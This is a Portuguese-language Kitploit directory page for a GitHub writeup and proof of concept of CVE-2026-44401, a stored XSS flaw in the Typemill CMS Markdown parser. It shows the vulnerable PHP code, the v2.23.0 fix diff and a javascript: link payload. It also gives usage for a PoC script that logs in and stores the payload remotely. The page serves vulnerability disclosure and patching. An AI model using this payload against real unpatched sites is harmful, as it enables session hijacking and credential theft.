Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-44401 — XSS persistente no CMS Typemill: o parser de Markdown permite a passagem de URIs javascript: sem filtro. Writeup + PoC. | Kitploit
Ferramentas/GitHubGitHub/sn0x-sharma/cve-2026-44401
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubsn0x-sharma/cve-2026-44401

CVE-2026-44401

XSS persistente no CMS Typemill: o parser de Markdown permite a passagem de URIs javascript: sem filtro. Writeup + PoC.

Ver Repositório
24há 29 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Imagem do ChatGPT, 11 de agosto de 2026, 02_18_30 PM
CVECVE-2026-44401
CWECWE-79 (Neutralização incorreta de entrada durante a geração de páginas web)
Versões afetadastypemill/typemill >= 2.0.0, < 2.23.0
Corrigido emv2.23.0 (commit 31b72ea)
Autenticação necessáriaSim, qualquer função com direitos de ACL system:update (admin ou manager por padrão)
CVSS (relator)7.6 / Médio-Alto
CVSS-B (VulnCheck, v4.0)4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
Créditosn0x (@sn0x-sharma)
ComunicadoVulnCheck

A pontuação é Média em vez de Crítica porque exige PR:H (privilégio de configuração do tema) + UI:A (a vítima precisa clicar no link) — mas o payload é armazenado, então dispara para todo visitante que clicar.

Resumo

Typemill é um CMS Markdown de arquivo simples. Seu parser Markdown não valida o esquema de URI dos destinos de link antes de escrevê-los em um atributo href. Um usuário com acesso à configuração do tema (por exemplo, o campo de texto Landingpage Intro Segment, que aceita Markdown bruto) pode armazenar um link javascript:. Ele é renderizado sem escape na página inicial pública e executa no navegador de qualquer pessoa que clicar — XSS persistente (armazenado).

Causa Raiz

ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, linhas 934–996 (v2.22.0, última tag vulnerável).

Links relativos e media/ recebem um prefixo de URL base, mas nada verifica o esquema da URI antes de ele ser atribuído ao href:

root@kitploit:~
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
    $href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
    $href = $this->baseUrl . '/' . $href;
}
# end typemill

$Element['attributes']['href'] = $href;   // <-- no scheme validation

[Clique em mim](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Clique em mim</a>.

Caminho de renderização para esse sink específico: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. Qualquer outro campo do tema que processe Markdown do usuário pelo mesmo parser é igualmente afetado.

A correção (v2.23.0)

root@kitploit:~
              # end typemill
-
+
+             # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+             $scheme = parse_url($href, PHP_URL_SCHEME);
+             if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+             {
+                 $href = '#';
+             }
+
              $Element['attributes']['href'] = $href;

A mesma lista de permissões (http, https, mailto, ftp) foi proposta no relatório original. Confirmado ao comparar o ParsedownExtension.php entre as tags v2.22.0 e v2.23.0.

Nota sobre Privilégio

As rotas de configuração do tema (GET /tm/themes, POST /api/v1/theme) são protegidas pelo recurso de ACL system/update — de acordo com as próprias definições de rotas do Typemill (routes/web.php, routes/api.php) isso é concedido à função manager por padrão, não apenas ao admin. Portanto, a exposição não se limita à conta de administrador de nível superior.

Etapas para Reproduzir

  1. Faça login como um usuário com acesso à configuração do tema → Sistema → Temas → Configurar (tema ativo, ex.: Cyanine).

    imagem
  2. Expanda o Segmento de introdução da landing page → em "Texto para a introdução da sua landing page (use markdown)", digite:

    root@kitploit:~
    [Click me](javascript:alert(document.domain))
    
    imagem
  3. Salve. Visite a página inicial como qualquer usuário e clique no link → o JS executa na sessão desse visitante.

    imagem

Prova de Conceito

CVE-2026-44401_POC.py - dois modos:

root@kitploit:~
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill

# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html

# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
    --username admin --password '********'

Reprodução manual mínima (como o relatório foi verificado):

root@kitploit:~
php -r '
  require "vendor/autoload.php";
  require "system/typemill/Extensions/ParsedownExtension.php";
  $p = new \Typemill\Extensions\ParsedownExtension("",[],null);
  echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched:    <p><a href="#">x</a></p>

Impacto

  • Sequestro de sessão de admin/manager (roubo de cookies)
  • Roubo de credenciais via formulários/redirecionamentos injetados
  • Encadeamento em outras ações autenticadas como a vítima

Referências

  • Repositório Typemill
  • Versão corrigida — v2.23.0
  • Comunicado da VulnCheck
Baixar ferramenta